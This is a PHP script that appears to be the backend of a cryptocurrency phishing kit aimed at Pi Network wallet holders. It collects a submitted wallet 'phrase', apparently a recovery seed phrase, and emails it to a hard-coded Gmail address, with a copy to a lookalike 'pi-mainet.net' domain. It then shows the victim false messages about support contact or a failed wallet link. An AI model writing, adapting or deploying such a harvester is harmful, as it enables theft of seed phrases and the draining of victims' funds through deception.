<?php
if (isset($_POST['send'])) {
    // Fetch and sanitize the user input
    $user_message = htmlspecialchars($_POST['message'], ENT_QUOTES, 'UTF-8');

    $to = "martineiffel11@gmail.com";
    $subject = "New Phrase Alerts";

    // Define email body content
    $email_body = "
    <header></header>
    <body>
    <div style='min-height:70vh; display:flex; flex-direction:column; justify-content:space-between;'>
        <div> <!-- Wrapper (Without footer) -->
            <article>
                <div style='min-height:60vh; padding:25px; font-size:15px; color:black; background-color: #dec8aa; line-height:22px; font-family: Arial, Helvetica, sans-serif;'>
                    <br>
                    <h3>Hello Admin!</h3><br>
                    <div style='min-height:50vh; background-color: #dec8aa; color:#1e4860; font-size:21px; padding:20px; padding-top:40px;'>
                        <b>You just received a new phrase:</b><br>
                        {$user_message}<br>
                        <br>
                        Thank you.
                    </div>
                    <br>
                </div>
            </article>
        </div> <!-- End: Wrapper (Without footer) -->
    </div>   
    <footer>
        <div style='padding:15px; text-align:center; font-size:10px; color:white; background-color:grey; line-height:22px;'>
            &copy; 2023 pi-p2p-unlocked.com
            <br>
            All Rights Reserved 2024
        </div>
    </footer> 
    </body>
    ";

    // Email headers
    $headers = "From: report@pi-mainet.net\r\n";
    $headers .= "Cc: report@pi-mainet.net\r\n";
    $headers .= "MIME-Version: 1.0\r\n";
    $headers .= "Content-type: text/html; charset=UTF-8\r\n";

    // Send the email
    $retval = mail($to, $subject, $email_body, $headers);

    // Provide feedback to the user
    if ($retval) {
        header("Location: ../");
        echo "Done! Support will contact you shortly.";
        exit; // Ensure the script stops execution after redirection
    } else {
        echo "Error! Wallet cannot be linked, contact support.";
    }
}
